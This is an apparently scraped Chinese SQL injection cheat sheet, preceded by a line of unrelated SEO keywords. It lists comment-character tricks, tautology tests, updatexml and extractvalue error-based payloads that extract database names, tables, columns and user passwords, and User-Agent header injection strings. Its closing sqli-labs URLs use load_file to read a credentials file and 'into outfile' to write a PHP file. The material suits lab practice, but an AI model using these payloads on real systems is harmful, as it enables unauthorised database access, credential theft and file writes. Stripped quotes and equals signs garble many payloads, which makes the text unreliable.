网站编程语言排行榜,广东东莞发布最新消息,做安全宣传的是什么网站,如室室内设计网常用的简单测试语句和注释符号说明 sql语句的注释符号#xff0c;是sq注入语句的关键点#xff1a;常用 # 和 -- 1、# 和 --#xff08;有个空格#xff09;表示注释#xff0c;可以使它们后面的语句不被执行。在url中#xff0c;如果是get请求也就是我们在浏览器地址栏…常用的简单测试语句和注释符号说明 sql语句的注释符号是sq注入语句的关键点常用 # 和 -- 1、# 和 --有个空格表示注释可以使它们后面的语句不被执行。在url中如果是get请求也就是我们在浏览器地址栏中输入的url,解释执行的时候ur1中#号是用来指导浏览器动作的对服务器端无用。所以HTTP请求中不包括 #因此使用#闭合无法注释会报错而使用 -- (有个空格)在传输过程中空格会被忽略同样导致无法注释所以在gt请求传参注入时才会使用--的方式来闭合因为会被解释成空格。 2.当然也可以使用--%20把空格转换为url encode编码格式也不会报错。同理把#变成%23也不报错。 3.如果是post请求则可以直接使用#来进行闭合。常见的就是表单注入如我们在后台登录框中进行注入。 4.为什么--后面必须要有空格而#后面就不需要因为使用--注释时需要使用空格才能形成有效的sq1语句而#后面可以有空格也可以没有。因为不加空格-- 直接和系统自动生成的单引号连接在了一起会被认为是一个关键词无法注释掉系统自动生成的单引号。 简单 测试语句 xx or11 -- 一个条件为真即为真真的效果就是查询到表中所有数据 xx and12 -- 一个条件为假即为假 xx and11 -- 两个条件为真才为真 union select... 联合查询 报错注入
Updatexml:函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。 extractvalue:函数也是MYSQL对XML文档数据进行查询的XPATH函数。 floor(0:MYSQL中用来取整的函数。 UPDATEXML (XML_document,XPath_string,new_value); https://pythonjishu.com/mysql-updatexml MySQL的UPDATEXML()函数可以用于修改XML类型的数据它可以更新XML数据中的一个或多个节点值。 这个函数的参数有三个 XML数据XPath表达式用于指定要修改的节点位置新的节点值用于替换当前节点的值 下面是UPDATEXML()函数的语法 UPDATEXML(xml_target, xpath_expr, new_val) • 具体用法 xx and updatexml(1,concat(0x7e,(SELECT version),0x7e),1)# 获得数据库版本 xx and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)# 获得当前用户 xx and updatexml(1,concat(0x7e,(SELECT databases()),0x7e),1)# 获得数据库名 k and updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schemamysql limit 0,1)),0)# 报错注入获得表名 kand updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_nameusers limit 2,1)),0)# 报错注入获得字段名 kand updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)# 常见HTTP头注入
UA头注入
注入HTTP请求头中的Useragent
Referer注入
Referer当你访问一个网站的时候你的浏览器需要告诉服务器你是从哪个地方访问服务器的。直接输入网址或者其他页面中的链接点进来的。
Cookie注入 Cookie 就是一段字符串,是浏览器保存服务器返回数据的方法,通常保存用户身份信息。是某些网站为了辨别用户身份进行Session跟踪而储存在用户本地终端上的数据通常经过加密由用户客户端计算机暂时或永久保存的信息
session当访问服务器否个网页的时候会在服务器端的内存里开辟一块内存这块内存就叫做session而这个内存是跟浏览器关联在一起的。这个浏览器指的是浏览器窗口或者是浏览器的子窗口意思就是只允许当前这个session对应的浏览器访问就算是在同一个机器上新启的浏览器也是无法访问的。而另外一个浏览器也需要记录session的话就会再启一个属于自己的session。也称为会话控制
User-Agent注入举例
获得当前数据库名 User-Agent:Mozilla/5.0......Firefox/46.0 and extractvalue(1,concat(0x7e,database())),,)# 获得全部表名 User-Agent:Mozilla/5.0......Firefox/46.0 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema数据库名))),,)# extractvalue()函数所能显示的错误信息最大长度为32如果错误信息超过了最大长度有可能导致显示不全。因此有时需要借助limit来做分行显示上述payload可以改为 User-Agent:Mozilla/5.0......Firefox/46.0 and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schemasecurity limit 0,1))),,)# //显示security库中的第1张表的名字 User-Agent:Mozilla/5.0......Firefox/46.0 and extractvalue(1,concat(~,(select table_name from information_schema.tables where table_schemasecurity limit 1,1))),,)# //显示security库中的第2张表的名字 User-Agent:Mozilla/5.0......Firefox/46.0 and extractvalue(1,concat(~,(select table_name from information_schema.tables where table_schemasecurity limit 2,1))),,)# //显示security库中的第3张表的名字 获得全部字段名 User-Agent:Mozilla/5.0......Firefox/46.0 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers))),,)# 若长度限制 可以用limit 分页 User-Agent:Mozilla/5.0......Firefox/46.0 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1))),,)# //显示users表中的第1个字段的名字 User-Agent:Mozilla/5.0......Firefox/46.0 and extractvalue(1,concat(~,(select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 1,1))),,)# //显示users表中的第2个字段的名字 User-Agent:Mozilla/5.0......Firefox/46.0 and extractvalue(1,concat(~,(select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 2,1))),,)# //显示users表中的第3个字段的名字 ... 显示字段值 User-Agent:Mozilla/5.0......Firefox/46.0 and extractvalue(1,concat(0x7e,(select concat_ws(,,id,username,password) from security.users limit 0,1))),,)# 其他样例 xx and updatexml(1,concat(0x7e,(SELECT version),0x7e),1)# 获得数据库版本 xx and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)# 获得当前用户 xx and updatexml(1,concat(0x7e,(SELECT databases()),0x7e),1)# 获得数据库名 k and updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schemamysql limit 0,1)),0)# 报错注入获得表名 kand updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_nameusers limit 2,1)),0)# 报错注入获得字段名 kand updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)# 文件读写操作 load_file():读取函数 into outfile或into dumpfile:导出函数 获取路径的常见方法 报错显示、遗留文件、漏洞报错、平台配置文件、爆破等、 http://127.0.0.1:8888/Less-2/?id-1%20union%20select%201,load_file(%27D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc%27),3 (读取本地文件)
http://127.0.0.1:8888/Less-2/?id-1%20union%20select%201,%20%27x%27%20,3%20into%20outfile%20%27D:\\x.php%27%20--本地文件写入